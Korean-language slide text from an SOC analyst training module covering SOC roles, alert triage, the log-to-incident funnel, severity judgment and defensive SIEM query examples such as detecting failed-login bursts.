26년 AI 보안운영 및 위협탐지 실무인력 양성 · (주)아울네스트
Module 1.
SOC 개요
공격을 완전히 막는 것이 아니라, 빠르게 발견하고 근거 있게 대응하는 운영 체계
핵심 키워드
SOC · SIEM · EDR · Alert · Incident
🛡️
(주)아울네스트
한국인터넷진흥원 발주 · 2026
1
개념 이해
SOC의 정의와 역할을 설명할 수 있다
구분 능력
Log / Event / Alert / Incident의 차이를 구분할 수 있다
도구 이해
SIEM / EDR / IDS·IPS / SOAR의 역할을 설명할 수 있다
판단 실습
간단한 Alert에 대해 근거 기반 1차 판단을 작성할 수 있다
모든 파트는 마지막 실습과 연결됩니다. "정답 암기"가 아니라 "판단 기준 이해"에 초점을 맞춰주세요.
"이걸 배우면 실제로 뭐가 달라지나요?"
수업 전: 화면에 경고: 해외 IP 로그인 감지 라는 알람이 뜨면 "어떻게 해야 하지?" 막막하다.
수업 후: 이 계정이 민감한가? 출장 등록이 있는가? 로그인 후 어떤 행동을 했는가?를 순서대로 확인하고,
"재무 계정이며 출장 기록 없음, 직후 대량 다운로드 → HIGH, L2 에스컬레이션 권고"를 문장으로 쓸 수 있다.
68%
인적 요소 관련 침해
(피싱·자격증명·실수)
194일
평균 침해 탐지 소요 시간
(산업 평균, 글로벌)
≤1h
성숙한 SOC의 목표 MTTD
(Mean Time To Detect)
공격은 언젠가 들어온다. 차이는 얼마나 빨리 발견하고 얼마나 정확히 대응하느냐에서 난다.
참고: Verizon 2025 DBIR, IBM Cost of a Data Breach Report
보강 설명Verizon 2025 DBIR 등 최근 보고서에 따르면, 침해 사고의 상당수가 피싱과 자격증명 탈취에서 시작됩니다. 그리고 침해 발견까지 수일에서 수개월이 걸리는 경우도 많습니다. 이 지연…
DBIR피싱자격증명
설명 확장
- DBIR 관점에서 이 주제의 목적을 다시 설명하기
- 피싱 관련 현장 장면을 함께 떠올리기
- 정의보다 왜 필요한지부터 말해 보기
판단 포인트
- 무슨 흔적을 보고 무엇을 결론내는지 구분하기
- 추가 확인할 로그·담당자·시간축을 메모하기
- 오탐 가능성과 리스크를 같이 적어 두기
학습 요소
- DBIR·피싱 핵심어를 한 문장으로 정리하기
- 실제 예시 1개와 연결해 기억하기
- 다음 슬라이드와 이어지는 질문을 스스로 만들기
NIST CSF 2.0의 6가지 기능 중 SOC는 Detect · Respond · Recover를 직접 실행하는 운영 조직
NIST CSF 5가지 기능 — SOC는 어디서 일하는가?
GOVERN
정책·전략·리스크
CISO·경영진
IDENTIFY
자산·취약점 파악
L3 일부 관여
PROTECT
방화벽·패치·훈련
IT운영팀 주도
DETECT ★
이상징후 탐지·모니터링
SOC 핵심 업무
RESPOND ★
봉쇄·대응·복구
IR팀 핵심 업무
💡 SOC는 DETECT + RESPOND를 담당합니다. "예방"(PROTECT)은 IT팀 몫이고, SOC는 예방이 뚫렸을 때 가동됩니다.
🔒
예방 = 잠금장치
방화벽, 접근통제, 패치, 정책
→ 진입을 어렵게 만든다
→ 하지만 완벽하지 않다
📹
SOC = CCTV + 경비실
모니터링, 분석, 판단, 대응
→ 이상 징후를 빠르게 발견한다
→ 피해를 최소화한다
현대 보안 운영 = 잠금장치(예방) + CCTV·경비실(SOC) + 비상 대응팀(IR)
보강 설명비유로 설명하면, 예방은 건물에 잠금장치를 다는 것이고, SOC는 CCTV와 경비실을 운영하는 것입니다. 잠금장치만으로는 모든 침입을 막을 수 없기 때문에, 이상 징후를 실시간으로 감시하고…
예방탐지비유
설명 확장
- 예방 관점에서 이 주제의 목적을 다시 설명하기
- 탐지 관련 현장 장면을 함께 떠올리기
- 정의보다 왜 필요한지부터 말해 보기
판단 포인트
- 무슨 흔적을 보고 무엇을 결론내는지 구분하기
- 추가 확인할 로그·담당자·시간축을 메모하기
- 오탐 가능성과 리스크를 같이 적어 두기
학습 요소
- 예방·탐지 핵심어를 한 문장으로 정리하기
- 실제 예시 1개와 연결해 기억하기
- 다음 슬라이드와 이어지는 질문을 스스로 만들기
01
SOC란 무엇인가
SOC의 정의, 미션, 운영 사이클, 데이터, 협업 구조
약 35분
SOC 정의
미션
운영 사이클
3요소
협업 구조
→
정규화·상관분석
Correlation
→
Alert 생성
Detection
→
1차 분류
Triage
→
상세 조사
Investigation
→
대응
Response
→
피드백·개선
Improve
Improve → 다시 Collection으로 연결 | 이 루프가 돌아야 같은 공격을 다음에는 더 빨리 잡을 수 있다
각 단계를 실무 용어로 풀면
수집(Collection): 서버·PC·방화벽·클라우드 등에서 로그를 SIEM으로 끌어모음
정규화·상관분석: 제각각인 로그 형식을 통일하고, 여러 곳의 이벤트를 서로 연결
Triage(1차 분류): Alert 500개 중 진짜 조사할 50개를 빠르게 추려내는 관문
개선(Improve): "이번에 왜 놓쳤나"를 탐지 룰과 운영 절차에 반영해 다음 번엔 더 빨리 잡음
❌
과거의 접근
"방화벽과 백신이 있으니
내부는 안전하다"
→ 한 번 뚫리면 무방비
✅
현대의 접근 (Assume Breach)
"이미 침해자가 내부에
있을 수 있다고 가정한다"
→ 항상 탐지하고 검증한다
Zero Trust + Assume Breach = 누구도 신뢰하지 않고, 항상 검증하며, 침해를 전제로 탐지·대응 체계를 설계한다
→ SOC는 이 패러다임의 실행 조직
병원 비유
예전 보안: "건물 입구에서 발열 체크 → 통과하면 안전"
Assume Breach: "통과했더라도
내부에서 계속 이상 징후를 모니터링" — 병동 안에서도 CCTV, 출입 기록, 약품 접근 이력을 추적한다
은행 비유
예전 보안: "금고 열쇠를 가진 사람은 신뢰"
Assume Breach: "열쇠를 가진 직원이라도
비정상 시간, 비정상 금액 인출은 자동 감지·경보" — 내부자 위협도 탐지 대상
탐지 지연 시
- 공격자가 수주~수개월 내부 활동
- 데이터 대량 유출 후 발견
- 복구 비용 수배~수십배 증가
- 브랜드 신뢰도 회복 불가 수준 하락
- 법적 책임 · 과징금 · 소송
빠른 탐지 시
- 공격자 활동 초기 단계에서 차단
- 피해 범위 최소화
- 복구 비용 대폭 절감
- 비즈니스 연속성 유지
- 규제 대응 신속 완료
침해 비용의 핵심 변수: 발견까지 걸린 시간(MTTD) — SOC가 이것을 줄이는 조직이다
같은 사고도 발견 시점에 따라 달라지는 운영 난이도
초기 발견 (1시간 이내)
계정 잠금·세션 종료·호스트 격리처럼 국소 조치로 피해를 작게 묶을 수 있다
중간 발견 (하루 단위)
측면 이동, 추가 수집, 동일 계정 확산 여부까지 조사해야 해 범위가 넓어진다
늦은 발견 (수일~수주)
유출·복구·법무·언론 대응까지 번져 기술 문제를 넘어 비즈니스 사고가 된다
보강 설명SOC가 없거나 제대로 작동하지 않으면 어떤 일이 벌어지는지 실제 사례를 통해 보겠습니다. 탐지 지연은 곧 피해 확대로 이어집니다.
실패탐지 지연피해
설명 확장
- 실패 관점에서 이 주제의 목적을 다시 설명하기
- 탐지 지연 관련 현장 장면을 함께 떠올리기
- 정의보다 왜 필요한지부터 말해 보기
판단 포인트
- 무슨 흔적을 보고 무엇을 결론내는지 구분하기
- 추가 확인할 로그·담당자·시간축을 메모하기
- 오탐 가능성과 리스크를 같이 적어 두기
학습 요소
- 실패·탐지 지연 핵심어를 한 문장으로 정리하기
- 실제 예시 1개와 연결해 기억하기
- 다음 슬라이드와 이어지는 질문을 스스로 만들기
자체 SOC (In-house)
- 조직 내부에 직접 구축·운영
- 높은 통제력과 맞춤형 운영
- 비용과 인력 부담 큼
위탁 SOC (MSSP)
- 전문 보안 업체에 운영 위탁
- 비용 효율적, 빠른 도입
- 커스터마이징 한계
하이브리드 SOC
- 핵심은 내부, 일부는 위탁
- 가장 많이 채택되는 형태
- 통제력과 효율성 균형
본 과정에서 배우는 SOC 운영 원칙은 모든 형태의 SOC에 동일하게 적용됩니다
어떤 형태를 선택하는가? — 조직별 현실 고려사항
자체 SOC 선택 시
규제 산업(금융·의료·공공)에서 내부 데이터를 외부에 보내기 어렵거나, 매우 특화된 탐지 룰이 필요한 경우. 초기 구축비용이 높지만 장기적으로 맞춤화 가능.
MSSP 선택 시
보안 인력 채용이 어렵거나 예산이 제한적인 중소기업. 빠른 도입과 24시간 운영이 가능하지만, 업종 특화 탐지나 내부 정책 맞춤에 한계가 있다.
하이브리드 선택 시 (가장 일반적)
핵심 분석(L2·L3)은 내부에서 하고, 24시간 Alert 모니터링(L1)은 외주. 또는 SIEM 인프라는 직접 운영하되 위협 인텔리전스 피드는 MSSP에서 제공받는 구조.
$4.88M
글로벌 평균 침해 비용
(2024, IBM)
-$1.76M
SOC/IR팀 보유 시
절감되는 평균 비용
100일+
200일 내 탐지 vs 이후 탐지
비용 차이 발생 구간
SOC는 비용 센터가 아니라 리스크 절감 투자 — 빠른 탐지가 수십억 원의 차이를 만든다
이 숫자가 실제로 의미하는 것
$4.88M (약 66억 원): 단순히 데이터 복구 비용이 아니다. 법률 비용, 규제 과징금, 고객 이탈, 브랜드 가치 하락, 임직원 대응 시간, 언론 대응, 시스템 재구축 비용을 모두 합친 숫자다.
-$1.76M (약 24억 원) 절감: SOC/IR팀이 있는 기업은 같은 침해가 발생해도 훨씬 빠르게 탐지·격리하기 때문에 피해 범위 자체가 달라진다. 연간 SOC 운영비와 비교하면 대부분의 경우 투자 대비 효과가 크다.
Lv.1
기본 수집
로그 수집·보관 시작
수동 확인 위주
Lv.2
규칙 기반 탐지
SIEM Alert 룰 운영
L1·L2 역할 분담
Lv.3
위협 헌팅
능동적 탐지 설계
ATT&CK 매핑
Lv.4
자동화·예측
SOAR 연동
AI/ML 기반 탐지
오늘 과정의 목표: Lv.2 수준의 기본기를 확실히 갖추기 — Log·Event·Alert·Incident 구분, Triage, 판단문 작성
각 레벨을 현실 조직으로 이해하면
Lv.1
방화벽 로그를 주 1회 수동 확인. 어디서 공격이 왔는지도 2주 후에 알게 되는 수준.
Lv.2 ← 오늘 목표
SIEM에 룰이 있고, Alert가 뜨면 L1이 분류하고 L2가 조사한다. 대부분의 중견·대기업 SOC.
Lv.3
공격이 Alert로 뜨기 전에 먼저 능동적으로 찾는다. 위협 헌팅 전담 인력이 있다.
Lv.4
반복 업무는 자동화. AI/ML이 이상 행위를 먼저 탐지해 분석가에게 우선순위를 제안한다.
인증 로그
로그인 성공/실패, MFA, VPN, SSO
엔드포인트 로그
프로세스 실행, 파일 생성, PowerShell, 서비스 변경
네트워크 로그
DNS, Proxy, Firewall, IDS/IPS, NetFlow
클라우드 로그
IAM, API 호출, 저장소 접근, 관리 작업
컨텍스트 데이터
자산 중요도, 사용자 권한, 취약점, 위협 인텔리전스
좋은 SOC일수록 단순 로그 수집보다 컨텍스트 결합 능력이 중요하다
데이터 소스별 실무 예시
인증 로그 예시: "finance01이 오전 3시에 싱가포르 IP로 로그인 성공. 평소 서울에서만 접속." → 해외 접속 Alert 발생
엔드포인트 예시: "영업부 PC에서 cmd.exe → powershell.exe → 외부 IP 통신" 프로세스 트리 → 악성코드 감염 의심
네트워크 예시: "내부 서버가 평소 보내지 않던 외부 도메인에 443포트로 대량 데이터 전송" → 데이터 유출 의심
클라우드 예시: "AWS에서 새 IAM 사용자가 생성되고 S3 버킷 공개 설정 변경" → 권한 오용 또는 설정 오류
이메일 예시: "CFO에게 발신자명이 CEO지만 도메인이 micro5oft.com인 메일" → CEO 사칭 BEC 공격
컨텍스트 예시: "admin 계정 로그인 → 해당 계정 오너가 어제 퇴사 처리됨" → 퇴사자 계정 악용 가능성
사례 1: 정상
user=kim_dev
src_country=US
result=login_success
컨텍스트: 출장 등록 확인됨, 미국 컨퍼런스 참석 중, 평소 사용 디바이스
정상 — Close
사례 2: 의심
user=finance01
src_country=US
result=login_success
컨텍스트: 출장 없음, 재무 VIP 계정, 신규 디바이스, 야간, 직후 대량 다운로드
HIGH — Escalate
로그는 같아도 맥락이 다르면 판단이 완전히 달라진다 — 이것이 SOC 분석의 핵심
같은 로그, 다른 맥락 — 추가 사례
🖥️ 관리자 권한 명령 실행
✅ 정상:
IT 팀원이 업무 시간에 유지보수 계획서에 따라 실행
🚨 위험:
같은 명령을 야간에 인턴 계정으로 실행 + 승인 기록 없음
📁 대량 파일 조회
✅ 정상:
월말 결산 담당자가 재무 폴더 수백 개 조회 → 매달 있는 패턴
🚨 위험:
같은 행위를 처음 접속하는 임시 계정이 새벽에 수행
02
SOC 운영 구조
L1 · L2 · L3 · IR/CERT 역할과 핸드오프
약 45분
L1 분석가
L2 수석
L3 전문가
에스컬레이션
IR/CERT
🔍 L1
Alert Triage
1차 분류
빠르고 일관된 판단
🔬 L2
Deep Analysis
상세 분석
범위 파악, 인시던트 판단
🎯 L3
Detection Engineering
헌팅, 룰 개선
탐지 공백 메우기
능동적으로 위협을 먼저 찾는다. ATT&CK 매핑으로 탐지 공백을 파악하고 룰을 작성한다.
🚨 IR/CERT
Incident Response
격리, 차단, 복구
사후 조치
실제 대응의 최종 단계. 시스템 격리·포렌식·복구·사후 보고까지 담당한다.
광범위·빠른 분류
→
깊은 분석
→
개선·헌팅
→
실제 대응
조직에 따라 역할 명칭과 경계는 다를 수 있음 – 본 슬라이드는 교육용 대표 모델
보강 설명이 구조는 절대적인 표준이라기보다, 실무에서 가장 널리 쓰이는 설명 방식입니다. 핵심은 누가 더 높은 직급인가가 아니라, 어떤 수준의 판단과 책임을 맡는가입니다.
L1L2L3
설명 확장
- L1 관점에서 이 주제의 목적을 다시 설명하기
- L2 관련 현장 장면을 함께 떠올리기
- 정의보다 왜 필요한지부터 말해 보기
판단 포인트
- 무슨 흔적을 보고 무엇을 결론내는지 구분하기
- 추가 확인할 로그·담당자·시간축을 메모하기
- 오탐 가능성과 리스크를 같이 적어 두기
학습 요소
- L1·L2 핵심어를 한 문장으로 정리하기
- 실제 예시 1개와 연결해 기억하기
- 다음 슬라이드와 이어지는 질문을 스스로 만들기
일반적인 L1 업무 흐름
Alert 큐 확인
→
사실 확인
→
오탐 닫기
→
컨텍스트 보강
→
에스컬레이션
→
문서화
⚠ "숫자보다 중요한 것은 맥락이다" — 200회 로그인 실패가 공격인지, 서비스 설정 오류인지는 맥락을 봐야 안다
❌ L1이 자주 하는 실수
- Alert가 많으니 기계적으로 "Close" — Alert Fatigue
- 로그인 실패 200회 = 무조건 공격으로 에스컬레이션 — 서비스 설정 오류일 수 있음
- 문서화 없이 구두로만 전달 — 인수인계 때 정보 손실
- 컨텍스트 확인 없이 로그 하나만 보고 판단
✅ 좋은 L1의 습관
- Alert 닫기 전 "왜 닫는지" 한 줄 메모 남기기
- 오탐 패턴을 팀과 공유해 룰 개선 건의
- 에스컬레이션 시 "내가 확인한 것"과 "아직 모르는 것"을 구분해서 전달
- 중요 계정/자산 목록을 숙지해 우선순위 빠르게 판단
L1 분석가의 실제 8시간 — 야간 22:00~06:00 타임라인
22:00교대 인수인계 — 이전 조로부터 진행 중인 케이스 2건 인수, 활성 Alert 37건 확인
23:10Alert#1142: "외부IP 로그인 시도 50회" → 블록리스트 IP 조회 → 알려진 스캐너 봇 → Benign 처리
00:30Alert#1198: "관리자 계정 새벽 로그인" → 변경관리 DB 확인 → 예정된 배치 작업, Benign
02:47Alert#1231: "내부 서버→외부 C2 비정상 트래픽" → 즉시 L2 에스컬레이션 + 상세 컨텍스트 문서화
03:30Alert 14건 추가 처리 — 자동화 도구, 모니터링 봇, 정기 스캔 → 대부분 오탐
05:45교대 준비 — 처리 52건, 에스컬레이션 1건, 미해결 0건. 인수인계 문서 작성 완료.
💡 52건 중 51건은 "아무 일 없음"이 올바른 답이었습니다.
L1의 가치는 그 02:47의 1건을 놓치지 않는 것에 있습니다. 지루한 밤이 좋은 밤입니다.
L2가 하는 일
- 관련 로그와 이벤트를 추가 수집
- 시간순 타임라인 재구성
- 영향받은 계정/호스트/서비스 범위 확인
- 가설 검증: 정상행위 vs 비정상행위
- Incident 여부 판단 및 대응 권고
L2와 L1의 차이: L1은 "이 Alert를 처리해야 하는가?"를 결정. L2는 "무슨 일이 실제로 일어났는가?"를 설명. L1은 100건 빠르게, L2는 10건 깊게.
Who · What · When · Where · How
⬇
Timeline Reconstruction
⬇
Scope / Impact / Verdict
L2 실제 조사 예시: "해외 IP 로그인" Alert 받았을 때
① L1 에스컬레이션 노트 확인: "22:14 싱가포르 IP, finance01, 신규 디바이스, MFA 성공"
② SIEM에서 동일 계정 전후 30분 행동 조회: 로그인 직후 340개 파일 조회, 85개 다운로드 확인
③ 해당 IP 위협 인텔리전스 조회: VirusTotal / AbuseIPDB → 알려진 VPN 출구 노드인지 확인
④ 사용자 HR 정보 확인: 출장 등록? 재택 승인? 평소 접속 국가 이력?
⑤ 타임라인 완성 + Verdict 작성: "HIGH — 계정 탈취 가능성. IR 에스컬레이션 + 세션 종료 권고"
L2 조사 실제 흐름 — "관리자 계정 새벽 3시 로그인" 케이스
STEP 1 타임라인지난 30일 로그인 이력 전수 조회 → "이 계정은 항상 오전 9~18시에만 사용됐다"
STEP 2 측면이동로그인 후 접근 시스템 확인 → 평소 미사용 HR DB + 재무 시스템 접근 기록 발견
STEP 3 데이터30분 내 HR DB 3,000건 조회 → 평소 하루 최대 50건 → 대량 수집 패턴 확인
STEP 4 확인계정 소유자 전화 → "저 오늘 새벽 3시에 일 안 했는데요?" → 계정 탈취 확정
STEP 5 대응계정 즉시 잠금 + IR팀 통보 + 피해 범위 초안 작성 → Incident 공식 선언
💡 L1이 "이상한 로그인"을 에스컬레이션했고, L2가 "계정 탈취 + 내부 데이터 유출"로 재구성했습니다. 같은 Alert, 완전히 다른 깊이의 분석입니다.
L3의 핵심 업무
- 탐지 룰/유스케이스 설계 및 튜닝
- 오탐/미탐 분석
- MITRE ATT&CK 기반 탐지 공백 식별
- 위협 헌팅(Threat Hunting)
- 파서/필드/데이터 품질 개선
Incident / Lessons Learned
⬇
Detection Gap Analysis
⬇
New Rule / Tuning / Hunt
⬇
Better Alerts ✓
L3의 실제 업무 — "지난달 침해 후 무엇이 달라졌나"
🔴 L3 개입 전
- DNS 터널링 공격 — 탐지 룰 없음
- 공격자 30일간 은밀히 내부 체류
- 수백 GB 데이터 외부 유출
- 유출 완료 후 우연히 발견
🟢 L3 대응 이후
- DNS 쿼리 패턴 분석 탐지 룰 신규 개발
- Threat Hunt로 유사 패턴 전수 조사
- MITRE T1071 기반 탐지 로직 구현
- 동일 기법 재시도 → 2시간 내 탐지
💡 L3는 "지금 공격"을 막는 것이 아니라 "다음 공격을 미리 볼 수 있게" 탐지 눈을 업그레이드합니다.
L1·L2가 현재를 지킨다면, L3는 미래를 설계합니다.
🛑
Contain
계정 잠금
호스트 격리
IP 차단
🧹
Eradicate
악성 프로세스 제거
원인 제거
NIST SP 800-61r3 관점: Incident Response는 사이버 리스크 관리의 일부이며, 탐지 → 대응 → 복구 → 개선의 연속 흐름으로 운영한다
랜섬웨어 발생 시 IR팀 실제 24시간 대응 예시
T+0hL1이 "파일 대량 암호화" Alert 수신 → L2 에스컬레이션 → IR팀 즉시 소집
T+1h억제: 감염 서버 네트워크 격리, 공유 폴더 접근 차단, 백업 서버 연결 분리
T+3h범위 파악: 전체 네트워크 스캔 → 감염 장비 17대 확인, 측면이동 경로 재구성
T+6h증거 보전: 포렌식 이미지 수집, 메모리 덤프, 이벤트 로그 보존 (법적 절차 대비)
T+12h복구 시작: 백업에서 우선순위 시스템 복구, 비즈니스 영향도 낮은 순서로 재개
T+24h임시 운영 재개: 핵심 서비스 복구 완료. 전체 복구는 72시간 목표로 계속 진행.
⚠️ IR팀 없이 랜섬웨어를 맞으면: 평균 복구 기간 21일, 평균 피해액 $1.85M (Sophos 2024).
IR팀이 있으면 이 수치가 절반 이하로 줄어듭니다.
나쁜 에스컬레이션
"이상 로그인 같음. 확인 필요"
→ 다음 팀이 다시 처음부터 봐야 함
좋은 에스컬레이션
"해외 IP(SG), 신규 디바이스, MFA 성공 후 12분 내 85개 문서 다운로드 확인. 재택/VPN 예외 없음. 계정 잠금 및 사용자 확인 권고"
→ 다음 팀이 바로 행동 가능
SOC의 문서화와 티켓 품질은 부수 업무가 아니라 핵심 운영 역량이다
보강 설명분석이 좋아도 핸드오프가 나쁘면 운영 품질은 떨어집니다. 예를 들어 이상 로그인 같음. 확인 필요 정도로 넘기면 다음 팀은 다시 처음부터 봐야 합니다. 반면 구체적인 사실과 권고를 함께 넘기면…
핸드오프티켓 품질근거
설명 확장
- 핸드오프 관점에서 이 주제의 목적을 다시 설명하기
- 티켓 품질 관련 현장 장면을 함께 떠올리기
- 정의보다 왜 필요한지부터 말해 보기
판단 포인트
- 무슨 흔적을 보고 무엇을 결론내는지 구분하기
- 추가 확인할 로그·담당자·시간축을 메모하기
- 오탐 가능성과 리스크를 같이 적어 두기
학습 요소
- 핸드오프·티켓 품질 핵심어를 한 문장으로 정리하기
- 실제 예시 1개와 연결해 기억하기
- 다음 슬라이드와 이어지는 질문을 스스로 만들기
| NIST CSF 기능 | L1 | L2 | L3 | IR/CERT |
|---|
| Detect (탐지) | ●●● | ●● | ●●● | ● |
| Respond (대응) | ● | ●● | ● | ●●● |
| Recover (복구) | — | ● | ● | ●●● |
| Identify (식별) | — | ● | ●● | ● |
●●● = 핵심 역할 · ●● = 주요 참여 · ● = 부분 참여 · — = 직접 관여 낮음
보강 설명NIST CSF 2.0과 SOC 역할을 매핑해 보면, L1은 Detect의 최전선, L2는 Detect와 Respond의 교차점, IR은 Respond와 Recover를 담당합니다.
NIST CSF매핑역할
설명 확장
- NIST CSF가 해결하려는 문제를 먼저 정리하기
- 매핑 관련 기능과 경계 지점을 구분하기
- 단독 기능보다 운영 흐름 안에서 바라보기
실무 포인트
- 입력 데이터·출력 결과·담당 역할을 분리해서 보기
- 탐지 후 누구에게 어떻게 핸드오프 되는지 확인하기
- 정책·자동화가 없을 때 생기는 공백을 생각하기
예시 연결
- 콘솔에서 실제로 어떤 화면과 경보로 보일지 상상하기
- 오탐/정탐 두 경우를 모두 떠올리기
- NIST CSF 관련 사용 사례를 한 가지 말로 정리하기
03
이벤트 흐름과 Alert 판단
Log → Event → Alert → Incident 구분과 Triage 방법
약 30분
Log
Event
Alert
Incident
Triage
🚨
Incident
실제 대응이 필요한
보안 사건
"로그는 사실이고, Alert는 가설이며, Incident는 대응이 필요한 운영 결론이다."
Log ≒ 목격자 진술
"22:14에 정장 입은 남성이 1층 엘리베이터를 탔다" — 사실이지만 의미는 없다
Event ≒ 상황 파악
"엘리베이터가 금고실 층에서 멈췄고 신분 미확인 방문자다" — 의미를 붙였다
Alert ≒ 의심 신고
"출입 권한이 없는 층에서 탐지됨 — 확인 필요" — 경비실에 신호가 간다
Incident ≒ 대응 결정
"확인 결과 무단 침입 → 경비 출동 + 경찰 신고 + CCTV 확보" — 행동이 따른다
편의점 CCTV 비유로 보는 퍼널
📹
Log
CCTV 24시간 전원 기록
(입장객 전원)
1,000,000건/일
🎯
Event
규칙에 해당 행동 선별
(야간 방문자)
50,000건/일
🔔
Alert
CCTV가 경보 울림
(마스크 착용자)
500건/일
🚨
Incident
경비원이 실제 절도 확인
(분석가 판단)
3~5건/일
💡 Alert → Incident 전환은 사람 분석가의 판단이 들어가는 지점입니다.
"이것이 진짜 위협인가"를 결정하는 것은 여전히 사람입니다.
1,000,000+
Raw Logs / day
* 숫자는 교육용 예시이며, 조직 규모와 환경에 따라 다릅니다
왜 1,000,000개의 로그에서 3~5개의 Incident만 나오는가?
로그 → 이벤트 (50,000)
대부분의 로그는 "정상 로그인", "파일 열기"처럼 의미가 없는 원시 기록. 이 중 "로그인 실패 반복", "야간 접속" 등 의미 있는 행위만 이벤트로 필터링.
이벤트 → Alert (500)
이벤트 중 탐지 룰에 걸리는 것만 Alert가 됨. 하지만 룰이 너무 넓으면 오탐이 많아지고, 너무 좁으면 실제 공격을 놓친다. 룰 품질이 핵심.
Alert → Incident (3~5)
대부분의 Alert는 오탐이거나 정상 행위. L1이 Triage를 거쳐 진짜 조사가 필요한 케이스만 추리면 하루 3~5건 수준. 이것이 SOC가 "가치 있는 판단"을 하는 이유.
Alert Fatigue란?
- 너무 많은 알림에 지쳐 진짜 위험도 무시하게 되는 현상
- 분석가가 기계적으로 "닫기"를 반복
- 결과: 실제 Incident를 놓침
좋은 Alert는 많이 울리는 Alert가 아니라,
다음 행동을 이끌어내는 Alert이다
비유: 화재 경보기가 하루 100번 울리는 건물
처음엔 모두 뛰어나가지만, 1주일 후엔 경보 소리를 들어도 "또 오작동이겠지"하며 자리를 지킨다. 그러다 진짜 화재가 났을 때 아무도 반응하지 않는다. SOC의 Alert Fatigue가 바로 이 상황이다.
적은 Alert, 높은 신뢰도가 목표다.
70%+
보안 팀이 "Alert 과부하"를 경험
오탐 비용 계산 — 연간으로 보면 얼마나 될까?
📊 일반적인 SOC 운영 현황
- 일평균 Alert: 1,000 ~ 10,000건
- 오탐 비율: 평균 45~65%
- Alert 1건 분석 평균: 약 10분
- L1 분석가 시급 환산: 3~5만원
💸 연간 오탐 처리 비용 계산
일 1,000건 × 50% 오탐 = 500건/일
500건 × 10분 = 5,000분/일
5,000분 ÷ 60 ≈ 83시간/일
83h × 4만원 = 332만원/일 낭비
연간: 약 12억원 (오탐만으로)
⚠️ 이래서 탐지 룰 튜닝이 중요합니다.
오탐을 10%만 줄여도 연간 1.2억 절감 + 분석가 번아웃 예방 + 진짜 위협 대응 시간 확보.
1
데이터는 신뢰할 수 있는가?
오류/중복이면 → 닫기 또는 병합
닫기
2
알려진 정상 행위인가?
승인된 변경/정상 운영이면 → Benign / 예외처리
Benign
3
중요 자산/중요 계정과 관련 있는가?
민감 자산/고위험 징후면 → L2 에스컬레이션
Escalate
4
즉시 대응이 필요한 징후가 있는가?
확산/파괴 가능성이면 → IR 즉시 통보
IR 호출
Severity 판단축: 사용자 중요도 · 자산 중요도 · 행위 이상성 · 확산 가능성 · 증거 강도
4가지 질문을 실제 Alert에 적용하면
질문 1: 데이터 신뢰성
"로그인 실패 1,000회" Alert → 해당 서버가 어젯밤 점검 중이었다는 기록 확인 → 정상 작동 오류 →
닫기
질문 2: 정상 여부
"개발 서버에 새 포트 오픈" Alert → 변경 관리 시스템에 해당 날짜 배포 승인 기록 확인 →
Benign, 예외처리
질문 3: 자산 중요도
"해외 IP 접속" Alert → 계정 확인 → domain_admin (최고 권한 계정) → 자산 중요도 최상 →
즉시 에스컬레이션
질문 4: 즉시 조치 필요성
"랜섬웨어 의심 파일" Alert → EDR에서 암호화 프로세스 진행 중 확인 → 초 단위 확산 가능 →
즉시 IR 호출 + 격리
| 행위 이상성 낮음 | 행위 이상성 중간 | 행위 이상성 높음 |
|---|
자산 중요도 높음
(DC, VIP, 재무) |
Medium |
High |
Critical |
자산 중요도 중간
(업무 서버, 일반 관리자) |
Low |
Medium |
High |
자산 중요도 낮음
(일반 사용자 PC) |
Info |
Low |
Medium |
* 이 매트릭스는 교육용 단순화 모델이며, 실제 운영 시 조직별 기준에 맞춰 세분화해야 합니다
매트릭스 적용 예시 3가지
Low 예시: 일반 직원 PC에서 인터넷 브라우저로 알려진 악성 광고 URL 클릭 → 자산 중요도 낮음 + 행위 이상성 낮음(광고 클릭은 흔함) → Low. 사용자에게 주의 안내 후 Close.
High 예시: 재무 팀장 계정(자산 중요도 높음)으로 해외 IP 로그인 후 파일 다운로드(행위 이상성 중간) → High. 즉시 사용자 확인 + L2 에스컬레이션.
Critical 예시: Domain Controller(자산 중요도 최상)에 새벽 2시에 domain_admin 계정으로 PowerShell 실행 + 신규 관리자 계정 생성(행위 이상성 높음) → Critical. 즉시 IR 호출 + 격리 검토.
04
보안 도구 이해
SIEM · EDR · IDS/IPS · SOAR의 역할과 연동
약 35분
SIEM
EDR
IDS/IPS
SOAR
연동 구조
Data Sources
→
SIEM Detection
→
Analyst Triage
→
EDR/Net
Deep Dive
→
SOAR/IR
Action
→
Case Closure
Case Closure → Rule Tuning / Lessons Learned → 다시 Detection으로 환류
이 연결성이 강할수록 MTTD와 MTTR을 줄이기 쉬워진다
보강 설명실제 SOC에서 한 Alert를 처리하는 과정을 생각해 보면, SIEM이 이상 징후를 잡고, 분석가는 EDR로 호스트를 들여다보며, SOAR가 관련 컨텍스트를 자동으로 수집하거나 조치를…
연결성운영 체인Case
설명 확장
- 연결성 관점에서 이 주제의 목적을 다시 설명하기
- 운영 체인 관련 현장 장면을 함께 떠올리기
- 정의보다 왜 필요한지부터 말해 보기
판단 포인트
- 무슨 흔적을 보고 무엇을 결론내는지 구분하기
- 추가 확인할 로그·담당자·시간축을 메모하기
- 오탐 가능성과 리스크를 같이 적어 두기
학습 요소
- 연결성·운영 체인 핵심어를 한 문장으로 정리하기
- 실제 예시 1개와 연결해 기억하기
- 다음 슬라이드와 이어지는 질문을 스스로 만들기
검색(Search) 예시
user = "finance01"
AND action = "login_success"
AND src_country != "KR"
AND time > "2026-03-18 00:00"
"finance01 계정의 해외 로그인 성공 이력 조회"
상관분석 룰 예시
IF login_fail_count > 100
AND time_window < 5min
AND target = service_account
THEN Alert("Brute-force 의심")
"5분 내 서비스 계정 로그인 100회 이상 실패 시 Alert"
대시보드
실시간 Alert 현황, 국가별 로그인 분포, 이상 행위 Top 10, SLA 준수율 등
케이스 생성
Alert → 조사 메모 → 근거 → 판정 → 조치 이력을 하나의 Case에 기록
SIEM 쿼리 결과 해석 — "이 3줄에서 무엇을 봐야 하나?"
# Splunk SPL — 로그인 실패 다발 탐지
index=auth EventCode=4625 | stats count by user, src_ip, dest
| where count > 10 | sort -count
# 결과 (상위 3행)
user=admin, src=203.0.113.45, dest=DC01, 03시, count=847
user=svc_backup, src=192.168.1.50, dest=FILE01, 02시, count=203
user=jsmith, src=8.8.8.8, dest=MAIL01, 14시, count=12
🚨 1행: admin + 외부 IP + 새벽 3시 + 847회 실패 → 브루트포스 공격 의심 → 즉시 L2 에스컬레이션
